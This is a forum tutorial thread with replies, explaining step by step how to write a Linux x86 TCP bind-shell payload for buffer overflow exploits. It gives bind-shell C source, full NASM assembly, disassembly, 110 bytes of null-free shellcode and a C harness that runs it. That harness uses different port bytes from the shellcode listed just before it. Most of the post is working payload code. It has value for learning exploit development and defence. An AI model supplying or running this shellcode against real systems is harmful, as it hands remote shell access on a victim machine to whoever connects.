[Tutorial] ~ Writing TCP Bind Shell in Linux ASM (For BOF) - Goodies - Feb 28, 2014
Hello everyone!
Branching out from solely networking, I've been learning assembly (and C) over the past some months. Fairly basic.
Now, to all those who are LEARNING ASM, please do not be intimidated by this. This may look advanced due to its shear length, but I assure you it's fairly simple. ASM files are MUCH longer as it is the lowest level language and there are a lot more commands needed to perform even a relatively simple task.
This tutorial assumes you have basic to intermediate knowledge in:
~ ASM
~ Registers (eax, ax, ah, al, eip, esp, ebp, etc...)and Common Instructions (xor, lea, mov, int, jmp, jmp (conditions), etc...)
~ Linux System Calls (Found normally at /usr/include/asm/ in unistd_32.h)
~ Buffer Overflow Methodology and basic Science behind it
Prelude & Files I'm Using:
I'm writing this tutorial because I know that I don't know everything, but I do want to share what I do know with all of you!
1. Custom Colring Scheme for Intel ASM in NANO - http://pastebin.com/WEXsYE48
2. C File to test our shellcode (Be sure to change "char * shellcode" to "char shellcode[]" when needed) - http://pastebin.com/pTdEFU1T
3. OPCODER - takes compiled ASM files and turns them into shellcode \x format - http://pastebin.com/3QkKTs0Q
Below, I've written a simple TCP bind shell in C so that we can reference this later on.
PHP Code
<?php #include <sys/socket.h> #include <netinet/in.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h>
#define PORT 7777
int main(){ int client, server; //file descriptors struct sockaddr_in sock; //socket addr
server = socket(AF_INET, SOCK_STREAM, 0); //create a socket in server
sock.sin_family = AF_INET; //address family AF_INET sock.sin_port = htons(PORT); //sets the port for socket sock.sin_addr.s_addr = INADDR_ANY; //allow any address in
bind(server, (struct sockaddr *) &sock, sizeof(sock)); //This binds the socket to the socket to the file descriptor
listen(server, 1); //listen for connections
client = accept(server, NULL, NULL); //set client file descriptor to the first accepted client
dup2(client, 0); //stdin dup2(client, 1); //stdout dup2(client, 2); //stderr //these now use 'client' stream, not std::
execve("/bin/sh", NULL, NULL); //execute /bin/sh in the client stream. Client has full access. return 0; }
Okay, this is simple enough. It creates a socket, listens on a port, duplicates the file descriptors for stdin/out/err so the client can interact with the standard streams, and executes a /bin/bash or /bin/sh shell... This is very easy.
Now that we have this, we have to convert this to assembly :D
But wait. How do we find those #defined constants? You can:
A) Look through the files and try and find them. They are going to be either in the #included files OR in files #included by the #included files....
B) Print them on screen:
PHP Code
<?php #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <netinet/in.h>
int main(){ printf( "AF_INET:\t%d\n" "SOCK_STREAM:\t%d\n" "INADDR_ANY:\t%d\n" ,AF_INET, SOCK_STREAM, INADDR_ANY); return 0; }
I simply included the same files as the first program. This yields:
AF_INET: 2
SOCK_STRESS: 1
INADDR_ANY: 0
Part I: Functions and Their Parameters
We need to grab the system calls, functions, and parameters for this to be of any use to us.
We know that we used socket(), bind(), listen(), accept(), dup2(), and execve().
Something we have to note is that the socket calls are not native in x86 ASM system calls, but rather offsets of the "socketcall" system call.
Looking in /usr/include/linux/types.h We see:
PHP Code
<?php #define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ #define SYS_ACCEPT4 18 /* sys_accept4(2) */ #define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */ #define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
Calls we used (man calls):- int socket(int domain, int type, int protocol); - 102 1
Parameters:- AF_INET (aka 2)
- SOCK_STREAM (aka 1)
- 0
- int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); - 102 2
Parameters:- the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80
- Address Family, Port
- Length
- int listen(int sockfd, int backlog); - 102 4
- the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80
- 1
- int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); - 102 5
- the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80
- 0 (No parameters)
- 0 (No addrlen)
- int dup2(int oldfd, int newfd); - 63
- client FD, client FD, client FD
- stdin (0), stdout (1), stderr (2)
- int execve(const char *filename, char *const argv[], char *const envp[]); - 11
- "/bin/sh" is only 7 characters. It must be 8. Thankfully, using multiple "/"'s in a row does not affect it. So we can use: "//bin/sh". "/bin/bash" -> "////bin/bash"
- No arguments
Fuck that's intimidating. Well, we see that we will have to use the FD returned by socket() which will be stored in EAX
Part II: Writing the ASM
For those of you who have written shellcode from C programs before know that it's MUCH MUCH easier to do this when you think in terms of function by function. Viewing it as one challenge is entirely too great.
We will start it off like any basic file:
PHP Code
<?php SECTION .text global _start _start:
Okay, halfway there...
socket()
Syscall: 102
PHP Code
<?php ;////// SOCKET xor eax, eax xor ebx, ebx push eax ;// pushing NULL bytes onto the stack mov al, 102d ;// syscall for socketcall mov bl, 1 ;// linux/types.h: #define SYS_SOCKET 1 push ebx ;// push 0x0000001 onto stack push 2d ;// push 0x0000002 onto stack mov ecx, esp ;// move the stack pointer (parameter array start) to the ECX int 80h ;// execute socket() ;//socket() returned is not in EAX mov esi, eax ;//save socket() file descriptor in something that won't be overwritten like ESI
Okay, great. This creates our socket and saves it in ESI so we can call it later. Simple enough. Now we can start the bind() function.
bind()
Syscall: 102
PHP Code
<?php ;////// BIND xor eax, eax ;// clear EAX xor ebx, ebx mov al, 102d ;// syscall for socketcall mov bl, 2 ;//// linux/types.h: #define SYS_BIND 2 add esp, 8d ;// removing 2 and 1 from the stack ;// This is the PORT number. Note that it MUST be in little endian. ;// If you want port 7777 (0x1E61), you MUST use (0x611E) push word 0x611e push word 2d ;// push mov ecx, esp ;// move param array to ECX push byte 16d ;//I'm still unsure of what the value should be. 16 is the lowest value $ push ecx ;// push param array start push esi ;// socket() fd onto stack mov ecx, esp ;// move the NEW param array into ecx int 0x80 ;// call bind()
listen()
Syscall: 102
PHP Code
<?php ;////// LISTEN xor eax, eax ;// clear EAX mov bl, 4d ;//// linux/types.h: #define SYS_LISTEN 4 push 1d ;// int backlog parameter mov al, 102d push esi ;// socket() fd onto stack mov ecx, esp ;// mov param array pointer to ECX int 0x80 ;// call listen()
accept()
Syscall: 102
PHP Code
<?php ;////// ACCEPT xor eax, eax ;// clear EAX push eax ;// NULL - no sockaddr struct push eax ;// NULL - no addrlen mov al, 102d ;// syscall for socketcall mov bl, 5d ;//// linux/types.h: #define SYS_ACCEPT 5 push esi ;// socket() fd onto stack mov ecx, esp ;// mov param array pointer to ECX int 0x80 ;// call accept() ;// this CLIENT FD is saved in EAX
dup2()
Syscall: 63
PHP Code
<?php ;////// DUP2 mov ebx, eax ;// save client FD into ebx ('old' fd dup2) xor ecx, ecx ;// clear ECX mov cl, 2d ;// Counter. 2, 1, 0 (stderr, stdout, stdin) ;// We need to set AL to dup2 syscall each time we loop or it will be overwritten. loop_dup2: mov al, 63d ;// syscall for dup2 int 0x80 ;// call dup2 dec ecx ;// decrease ECX jns loop_dup2 ;// jump to the loop if ECX is still positive
execve()
Socketcall: 11
Alright. This is one of the the standard /bin/sh shellcode. This is the shortest way I know of writing it. Note that it needs to be a multiple of 4 bytes so "/bin/sh: won't work. It needs to be 8 characters.
//bin/sh works just the same. Also, if you wanted to push 4 more bytes on there, //////bin/sh works identically.
PHP Code
<?php ;////// EXECVE xor eax, eax ;// clear EAX push eax ;// push NULL ;// Push string "/bib/sh" (rather "//bin/sh" so it's x 4) backwards in LE push 0x68732f6e ;// "hs/n" in hex push 0x69622f2f ;// "ib//" in hex mov ebx, esp ;// Move argument stack pointer into ebx push eax ;// push NULL mov edx, esp ;// move the NEW stack pointer into EDX (environment params ptr) push ebx ;// push this new address onto stack mov ecx, esp ;// move the NEW NEW stack pointer into ECX (param array ptr) mov al, 11d ;// syscall for execve int 0x80 ;// call execve()
Part III: Compiling and Testing
That's a lot of stuff we just typed...
Let's compile it:
nasm -f elf32 file.asm -o TEMP.o
ld -m elf_i386 -o exec TEMP.o
./exec
And test it with netcat or a telnet client:
nc 127.0.0.1 777
^^ Assuming you are testing it on local host and you chose port 777.
Proof:
![[Image: mU7CLrf.gif]](https://i.imgur.com/mU7CLrf.gif)
Alright. Now let's turn this into shellcode with OPCODER (the simple tool I wrote at the top).
Here's the disassembly output:
objdump -M intel -d exec
PHP Code
<?php OBJ Dump:
8048060: 31 c0 xor eax,eax 8048062: 31 db xor ebx,ebx 8048064: 50 push eax 8048065: b0 66 mov al,0x66 8048067: b3 01 mov bl,0x1 8048069: 53 push ebx 804806a: 6a 02 push 0x2 804806c: 89 e1 mov ecx,esp 804806e: cd 80 int 0x80 8048070: 89 c6 mov esi,eax 8048072: 31 c0 xor eax,eax 8048074: 31 db xor ebx,ebx 8048076: b0 66 mov al,0x66 8048078: b3 02 mov bl,0x2 804807a: 83 c4 08 add esp,0x8 804807d: 66 68 1e 61 pushw 0x611e 8048081: 66 6a 02 pushw 0x2 8048084: 89 e1 mov ecx,esp 8048086: 6a 10 push 0x10 8048088: 51 push ecx 8048089: 56 push esi 804808a: 89 e1 mov ecx,esp 804808c: cd 80 int 0x80 804808e: 31 c0 xor eax,eax 8048090: b3 04 mov bl,0x4 8048092: 6a 01 push 0x1 8048094: b0 66 mov al,0x66 8048096: 56 push esi 8048097: 89 e1 mov ecx,esp 8048099: cd 80 int 0x80 804809b: 31 c0 xor eax,eax 804809d: 50 push eax 804809e: 50 push eax 804809f: b0 66 mov al,0x66 80480a1: b3 05 mov bl,0x5 80480a3: 56 push esi 80480a4: 89 e1 mov ecx,esp 80480a6: cd 80 int 0x80 80480a8: 89 c3 mov ebx,eax 80480aa: 31 c9 xor ecx,ecx 80480ac: b1 02 mov cl,0x2 80480ae: b0 3f mov al,0x3f 80480b0: cd 80 int 0x80 80480b2: 49 dec ecx 80480b3: 79 f9 jns 0x80480ae 80480b5: 31 c0 xor eax,eax 80480b7: 50 push eax 80480b8: 68 6e 2f 73 68 push 0x68732f6e 80480bd: 68 2f 2f 62 69 push 0x69622f2f 80480c2: 89 e3 mov ebx,esp 80480c4: 50 push eax 80480c5: 89 e2 mov edx,esp 80480c7: 53 push ebx 80480c8: 89 e1 mov ecx,esp 80480ca: b0 0b mov al,0xb 80480cc: cd 80 int 0x80
Shellcode (110 Bytes):
Code \x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x02\x83\xc4\x08\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb3\x04\x6a\x01\xb0\x66\x56\x89\xe1\xcd\x80\x31\xc0\x50\x50\xb0\x66\xb3\x05\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
You can check to see if there are any \x00's simply by running:
objdump -d exec | grep "00"
Now let's test it in our C program:
PHP Code
<?php #include <stdio.h> #include <string.h> unsigned char shellcode[] = "\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x02\x83\xc4\x08\x66\x68\xef\xbe\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb3\x04\x6a\x01\xb0\x66\x56\x89\xe1\xcd\x80\x31\xc0\x50\x50\xb0\x66\xb3\x05\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){ printf("Shellcode Length (Bytes): %d\n", strlen(shellcode)); ((void(*)(void))shellcode)(); return 0; }
And moment of truth:
* - mudasir007 - Feb 28, 2014
Excellent Tutorial Mate, learned from it Thanks
* - Goodies - Feb 28, 2014
Thanks :) I put well over 6 hours into writing and debugging this file + making the thread. It'd be awesome to get some recognition.
* - PickledHax - Feb 28, 2014
Wow, this must have taken a lot of time. Well done :)
* - Hooded Robin - Feb 28, 2014
Pictures, code, examples - this has it all! Thanks for taking the time to put this together. It was a nice read and will make a great reference as I start heading down this same direction.
* - Ch1m4zz - Feb 28, 2014
Wow this is one hell of a tutorial ... Haven't read it all yet because it was so awesome my eyes melted after half of it.. Just wow man great work and keep it up goodies :D
* - Goodies - Feb 28, 2014
Thanks you guys! I really really appreciate it :)
* - Ch1m4zz - Feb 28, 2014
Only 6 replies common this is an hell of an awesome thread
* - _Silky - Feb 28, 2014
This may set peoples eyes on fire, but that's how you....
learn.
* - decak0re - Mar 1, 2014
awesome thread man super bookmarked
* - Goodies - Mar 1, 2014
Updated a typo. LOL I had typed "SOCK_STRESS" as opposed to "SOCK_STREAM". That's embarrassing. Luckily it was only in the printf format rather than the later parameters...
* - whyitell - Mar 2, 2014
Another great tutorial, I should really learn asm properly, its confuzing.
* - Goodies - Apr 21, 2014
I'm going to bump this. I'm writing my book and I'm referencing my thread, so might as well it.
* - Ρain - Apr 21, 2014
My brain, why Goodies, why my brain hurts
Just kidding. Amazing tutorial!
* - LeetCodes - Apr 21, 2014
great tutorial, learned a lot, thanks
|